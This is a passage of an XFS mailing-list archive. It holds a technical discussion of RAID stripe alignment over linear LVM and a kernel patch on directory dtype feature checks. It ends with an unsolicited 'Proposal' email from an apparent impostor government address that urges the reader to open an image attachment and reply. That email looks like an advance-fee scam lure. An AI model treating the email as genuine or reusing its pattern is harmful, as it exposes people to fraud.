greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id nXNLd3lvoHWH4xFr for ; Fri, 27 Sep 2013 06:09:58 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id A29C56C162; Fri, 27 Sep 2013 08:09:57 -0500 (CDT) Message-ID: <524583A4.9050207@hardwarefreak.com> Date: Fri, 27 Sep 2013 08:09:56 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Stewart Webb CC: Dave Chinner , Chris Murphy , "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> <20130926215806.GQ26872@dastard> <5244DB1B.7000908@hardwarefreak.com> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380287398 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/27/2013 7:23 AM, Stewart Webb wrote: >> Right, and it does so not only to improve write performance, but to >> also maximise sequential read performance of the data that is >> written, especially when multiple files are being read >> simultaneously and IO latency is important to keep low (e.g. >> realtime video ingest and playout). > > So does this mean that I should avoid having devices in RAID with a > differing amount of spindles (or non-parity disks) > If I would like to use Linear concatenation LVM? Or is there a best > practice if this instance is not > avoidable? Above, Dave was correcting my oversight, not necessarily informing you, per se. It seems clear from your follow up question that you didn't really grasp what he was saying. Let's back up a little bit. What you need to concentrate on right now is the following which we stated previously in the thread, but which you did not reply to: >>>> What really makes a difference as to whether alignment will be of >>>> benefit to you, and how often, is your workload. So at this point, you >>>> need to describe the primary workload(s) of your systems we're >> discussing. >>> >>> Yup, my thoughts exactly... This means you need to describe in detail how you are writing your files, and how you are reading them back. I.e. what application are you using, what does it do, etc. You stated IIRC that your workload is 80% read. What types of files is it reading? Small, large? Is it reading multiple files in parallel? How are these files originally written before being read? Etc, etc. You may not understand why this is relevant, but it is the only thing that is relevant, at this point. Spindles, RAID level, alignment, no alignment...none of this matters if it doesn't match up with how your application(s) do their IO. Rule #1 of storage architecture: Always build your storage stack (i.e. disks, controller, driver, filesystem, etc) to fit the workload(s), not the other way around. > > On 27 September 2013 02:10, Stan Hoeppner wrote: > >> On 9/26/2013 4:58 PM, Dave Chinner wrote: >>> On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: >>>> On 9/26/2013 3:55 AM, Stewart Webb wrote: >>>>> Thanks for all this info Stan and Dave, >>>>> >>>>>> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is >> the >>>>>> amount of data written across the full RAID stripe (excluding parity). >>>>> >>>>> The reason I stated Stripe size is because in this instance, I have >> 3ware >>>>> RAID controllers, which refer to >>>>> this value as "Stripe" in their tw_cli software (god bless >> manufacturers >>>>> renaming everything) >>>>> >>>>> I do, however, have a follow-on question: >>>>> On other systems, I have similar hardware: >>>>> 3x Raid Controllers >>>>> 1 of them has 10 disks as RAID 6 that I would like to add to a logical >>>>> volume >>>>> 2 of them have 12 disks as a RAID 6 that I would like to add to the >> same >>>>> logical volume >>>>> >>>>> All have the same "Stripe" or "Strip Size" of 512 KB >>>>> >>>>> So if I where going to make 3 seperate xfs volumes, I would do the >>>>> following: >>>>> mkfs.xfs -d su=512k sw=8 /dev/sda >>>>> mkfs.xfs -d su=512k sw=10 /dev/sdb >>>>> mkfs.xfs -d su=512k sw=10 /dev/sdc >>>>> >>>>> I assume, If I where going to bring them all into 1 logical volume, it >>>>> would be best placed to have the sw value set >>>>> to a value that is divisible by both 8 and 10 - in this case 2? >>>> >>>> No. In this case you do NOT stripe align XFS to the storage, because >>>> it's impossible--the RAID stripes are dissimilar. In this case you use >>>> the default 4KB write out, as if this is a single disk drive. >>>> >>>> As Dave stated, if you format a concatenated device with XFS and you >>>> desire to align XFS, then all constituent arrays must have the same >>>> geometry. >>>> >>>> Two things to be aware of here: >>>> >>>> 1. With a decent hardware write caching RAID controller, having XFS >>>> alined to the RAID geometry is a small optimization WRT overall write >>>> performance, because the controller is going to be doing the optimizing >>>> of final writeback to the drives. >>>> >>>> 2. Alignment does not affect read performance. >>> >>> Ah, but it does... >>> >>>> 3. XFS only performs aligned writes during allocation. >>> >>> Right, and it does so not only to improve write performance, but to >>> also maximise sequential read performance of the data that is >>> written, especially when multiple files are being read >>> simultaneously and IO latency is important to keep low (e.g. >>> realtime video ingest and playout). >> >> Absolutely correct, as Dave always is. As my workloads are mostly >> random, as are those of others I consult in other fora, I sometimes >> forget the [multi]streaming case. Which is not good, as many folks >> choose XFS specifically for [multi]streaming workloads. My remarks to >> this audience should always reflect that. Apologies for my oversight on >> this occasion. >> >>>> What really makes a difference as to whether alignment will be of >>>> benefit to you, and how often, is your workload. So at this point, you >>>> need to describe the primary workload(s) of your systems we're >> discussing. >>> >>> Yup, my thoughts exactly... >>> >>> Cheers, >>> >>> Dave. >>> >> >> -- >> Stan >> >> > > From dave@fromorbit.com Fri Sep 27 08:14:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5AA2C7F52 for ; Fri, 27 Sep 2013 08:14:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3CDD18F8040 for ; Fri, 27 Sep 2013 06:14:24 -0700 (PDT) X-ASG-Debug-ID: 1380287661-04cbb02c3a14b6c10001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id izhYi5sGy2sq74KD for ; Fri, 27 Sep 2013 06:14:21 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AogGALeDRVJ5LCC0/2dsb2JhbABZgwetT5UjF3SCJQEtLzsYagM0iAWZCaEnk3YDqXWDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Sep 2013 22:44:20 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VPXs8-0008Qz-64 for xfs@oss.sgi.com; Fri, 27 Sep 2013 23:14:16 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VPXs8-0002Zd-2t for xfs@oss.sgi.com; Fri, 27 Sep 2013 23:14:16 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: dirent dtype presence is dependent on directory magic numbers Date: Fri, 27 Sep 2013 23:14:16 +1000 X-ASG-Orig-Subj: [PATCH] xfs: dirent dtype presence is dependent on directory magic numbers Message-Id: <1380287656-9861-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380287661 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_format.h | 51 +++++++++++++++++++---------------------------- fs/xfs/xfs_dir2_block.c | 6 +++--- fs/xfs/xfs_dir2_readdir.c | 4 ++-- fs/xfs/xfs_dir2_sf.c | 6 +++--- 4 files changed, 28 insertions(+), 39 deletions(-) diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index e62f671..89a1a21 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -637,69 +637,58 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) /* * Offsets of . and .. in data space (always block 0) * - * The macros are used for shortform directories as they have no headers to read - * the magic number out of. Shortform directories need to know the size of the - * data block header because the sfe embeds the block offset of the entry into - * it so that it doesn't change when format conversion occurs. Bad Things Happen - * if we don't follow this rule. - * * XXX: there is scope for significant optimisation of the logic here. Right * now we are checking for "dir3 format" over and over again. Ideally we should * only do it once for each operation. */ -#define XFS_DIR3_DATA_DOT_OFFSET(mp) \ - xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) -#define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) -#define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) - static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dot_offset(struct xfs_mount *mp) { - return xfs_dir3_data_entry_offset(hdr); + return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); } static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) { - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 1); + return xfs_dir3_data_dot_offset(mp) + + xfs_dir3_data_entsize(mp, 1); } static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_first_offset(struct xfs_mount *mp) { - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dotdot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 2); + return xfs_dir3_data_dotdot_offset(mp) + + xfs_dir3_data_entsize(mp, 2); } /* * location of . and .. in data space (always block 0) */ static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset(hdr)); + ((char *)hdr + xfs_dir3_data_dot_offset(mp)); } static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dotdot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(hdr)); + ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); } static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_first_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(hdr)); + ((char *)hdr + xfs_dir3_data_first_offset(mp)); } /* diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index f966500..9f3f83a 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -1158,7 +1158,7 @@ xfs_dir2_sf_to_block( /* * Create entry for . */ - dep = xfs_dir3_data_dot_entry_p(hdr); + dep = xfs_dir3_data_dot_entry_p(mp, hdr); dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; @@ -1172,7 +1172,7 @@ xfs_dir2_sf_to_block( /* * Create entry for .. */ - dep = xfs_dir3_data_dotdot_entry_p(hdr); + dep = xfs_dir3_data_dotdot_entry_p(mp, hdr); dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; @@ -1183,7 +1183,7 @@ xfs_dir2_sf_to_block( blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); blp[1].address = cpu_to_be32(xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr)); - offset = xfs_dir3_data_first_offset(hdr); + offset = xfs_dir3_data_first_offset(mp); /* * Loop over existing entries, stuff them in. */ diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index fad8b42..45c9ce8 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -119,9 +119,9 @@ xfs_dir2_sf_getdents( * mp->m_dirdatablk. */ dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - XFS_DIR3_DATA_DOT_OFFSET(mp)); + xfs_dir3_data_dot_offset(mp)); dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - XFS_DIR3_DATA_DOTDOT_OFFSET(mp)); + xfs_dir3_data_dotdot_offset(mp)); /* * Put . entry unless we're starting past it. diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index c7ea24a..8811ee5 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -557,7 +557,7 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), + for (offset = xfs_dir3_data_first_offset(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; @@ -640,7 +640,7 @@ xfs_dir2_sf_addname_pick( sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; size = xfs_dir3_data_entsize(mp, args->namelen); - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; /* @@ -713,7 +713,7 @@ xfs_dir2_sf_check( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; -- 1.8.3.2 From ahmed.kareeem@thesyriagovt.com Fri Sep 27 08:18:56 2013 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 768837F52 for ; Fri, 27 Sep 2013 08:18:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9FD308F8068 for ; Fri, 27 Sep 2013 06:18:55 -0700 (PDT) X-ASG-Debug-ID: 1380287931-04bdf053875ab120001-NocioJ Received: from serv1.indianmayans.info ([162.242.161.56]) by cuda.sgi.com with ESMTP id 6qyzUGw1977OoxdI for ; Fri, 27 Sep 2013 06:18:51 -0700 (PDT) X-Barracuda-Envelope-From: ahmed.kareeem@thesyriagovt.com X-Barracuda-Apparent-Source-IP: 162.242.161.56 Received: from 162.13.88.233 (unknown [162.13.88.233]) by serv1.indianmayans.info (Postfix) with ESMTP id C2E0B15C01E for ; Fri, 27 Sep 2013 13:17:53 +0000 (UTC) MIME-Version: 1.0 From: "Ahmed Kareem" Reply-To: ahmed.kareem@thesyriagovt.com To: xfs@oss.sgi.com Subject: Proposal Content-Type: multipart/mixed; boundary="----=_NextPart_001_7EB4_2DAA2348.3AE04AF0" X-ASG-Orig-Subj: Proposal X-Mailer: Smart_Send_2_0_138 Date: Fri, 27 Sep 2013 13:17:51 +0000 Message-ID: <274835387159255401674@SENDBLASTER2> X-Barracuda-Connect: UNKNOWN[162.242.161.56] X-Barracuda-Start-Time: 1380287931 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_NextPart_001_7EB4_2DAA2348.3AE04AF0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Please read the attached business proposal and get back to me at your earli= est convenience with your thoughts and reaction. Email me on: ahmed.kareem@= thesyriagovt.com so that we can go over the details together. =20 Regards. =20 Ahmed. ------=_NextPart_001_7EB4_2DAA2348.3AE04AF0 Content-Type: image/jpeg; name="Proposal.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Proposal.jpg" /9j/4AAQSkZJRgABAAEAYABgAAD//gAfTEVBRCBUZWNobm9sb2dpZXMgSW5jLiBWMS4wMQD/2wCE AAICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMDAgIDAgICAwQDAwMDBAQEAgME BAQEBAMEBAMBAgICAgICAgICAgMCAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD AwMDAwMDAwMDAwMDAwMDA//EAaIAAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKCwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoLEAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEU MoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK 0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+foRAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYS QVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNU VVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5 usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/AABEIBQkDjQMBEQACEQEDEQH/ 2gAMAwEAAhEDEQA/AP1T/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugA/4Ym/Zj/6Jn/5efxB/+augA/4Ym/Zj/wCiZ/8Al5/EH/5q6AD/AIYm /Zj/AOiZ/wDl5/EH/wCaugA/4Ym/Zj/6Jn/5efxB/wDmroAP+GJv2Y/+iZ/+Xn8Qf/mroAP+GJv2 Y/8Aomf/AJefxB/+augA/wCGJv2Y/wDomf8A5efxB/8AmroAP+GJv2Y/+iZ/+Xn8Qf8A5q6AD/hi b9mP/omf/l5/EH/5q6AD/hib9mP/AKJn/wCXn8Qf/mroAP8Ahib9mP8A6Jn/AOXn8Qf/AJq6AD/h ib9mP/omf/l5/EH/AOaugD6poAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg AoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAC gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAK ACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoA KACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAo AKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgA oAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACg 